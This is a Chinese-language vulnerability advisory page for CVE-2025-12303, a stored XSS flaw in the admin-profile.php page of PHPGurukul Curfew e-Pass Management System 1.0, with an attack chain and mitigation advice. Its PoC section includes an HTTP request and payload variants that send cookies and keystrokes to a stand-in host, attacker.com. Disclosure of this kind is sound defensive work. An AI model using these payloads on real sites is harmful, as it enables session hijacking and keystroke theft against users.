IPBUF安全漏洞报告
English
CVE-2025-12303 CVSS 2.4 低危

CVE-2025-12303: PHPGurukul Curfew e-Pass Management System XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12303
漏洞类型
XSS (跨站脚本)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
PHPGurukul Curfew e-Pass Management System 1.0

相关标签

XSSCross-Site ScriptingStored XSSPHPGurukulCurfew e-Pass Management SystemCVE-2025-12303Web应用漏洞admin-profile.php低危漏洞权限提升

漏洞概述

CVE-2025-12303是PHPGurukul Curfew e-Pass Management System 1.0版本中的一个存储型跨站脚本(Stored XSS)漏洞。该系统是一款用于管理宵禁通行证的Web应用程序,广泛应用于疫情期间或特殊时期的人员流动管理。漏洞存在于admin-profile.php文件中的adminname和email参数处理逻辑中,攻击者可以通过在用户资料更新功能中注入恶意JavaScript代码,当管理员或其他用户查看受影响用户的资料时,恶意脚本将在其浏览器上下文中执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户账户、执行钓鱼攻击或传播恶意软件。由于该漏洞需要高权限用户权限才能利用,且需要用户交互触发,因此CVSS评分较低(2.4),但仍可能对企业网络安全造成潜在威胁。攻击者已公开相关利用代码,建议相关单位尽快采取修复措施。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击向量为网络(AV:N),需要高权限认证(PR:H)并涉及用户交互(UI:R)。漏洞产生的根本原因是admin-profile.php文件在处理adminname和email参数时,未对用户输入进行充分的输入验证和输出编码。具体来说,当管理员或特权用户更新其个人资料时,应用程序直接将用户提交的adminname和email参数值存储到数据库中,而在后续页面渲染过程中,这些未经过滤的数据被直接嵌入到HTML响应中,导致恶意JavaScript代码得以执行。攻击者可通过构造如下Payload:<script>alert(document.cookie)</script>作为adminname或email参数值,系统将无条件存储该数据。当其他用户访问包含恶意代码的页面时,浏览器会将其解析为可执行脚本,从而触发XSS攻击。攻击者可利用此漏洞窃取受害者会话Cookie、伪造用户操作、进行CSRF攻击或植入钓鱼页面。CVSS 3.1向量为CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N,机密性和完整性影响均为低。

攻击链分析

STEP 1
步骤1
攻击者获取PHPGurukul Curfew e-Pass Management System的高权限账户(如管理员)访问权限
STEP 2
步骤2
攻击者登录系统后访问admin-profile.php页面,准备修改个人资料
STEP 3
步骤3
攻击者在adminname或email参数中注入恶意XSS Payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4
应用程序将恶意Payload未经充分过滤直接存储到数据库中
STEP 5
步骤5
当其他管理员或用户访问包含该恶意代码的页面时,浏览器执行注入的JavaScript代码
STEP 6
步骤6
攻击者成功窃取受害者Cookie、劫持会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-12303 PoC - Stored XSS in admin-profile.php --> <!-- Target: PHPGurukul Curfew e-Pass Management System 1.0 --> <!-- Attack Vector: adminname/email parameter in admin-profile.php --> <!-- Step 1: Login as admin or high-privilege user --> <!-- Step 2: Navigate to admin profile update page --> <!-- Step 3: Inject XSS payload in adminname or email field --> <!-- HTTP POST Request PoC --> POST /admin-profile.php HTTP/1.1 Host: target-server.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=your_session_cookie adminname=<script>alert(document.cookie)</script>&email=<img src=x onerror=this.src='http://attacker.com/steal?c='+document.cookie]>&btn-update=Update <!-- XSS Payload Variants --> <!-- Basic: <script>alert('XSS')</script> --> <!-- Cookie Stealing: <script>document.location='http://attacker.com/steal?c='+document.cookie</script> --> <!-- Keylogger: <script>document.onkeypress=function(e){new Image().src='http://attacker.com/log?k='+e.key}</script> --> <!-- HTML Injection: <img src=x onerror=alert('XSS')> -->

影响范围

PHPGurukul Curfew e-Pass Management System 1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用admin-profile.php的用户资料更新功能;2) 在Web应用层部署XSS过滤规则,拦截包含<script>、<img>、onerror等关键字的请求;3) 对所有用户输入实施严格的输入验证和输出编码;4) 加强管理员账户安全,使用强密码策略和双因素认证;5) 限制admin-profile.php的访问权限,仅允许必要的管理员访问;6) 监控日志及时发现异常请求和攻击行为;7) 考虑使用第三方安全服务进行实时防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表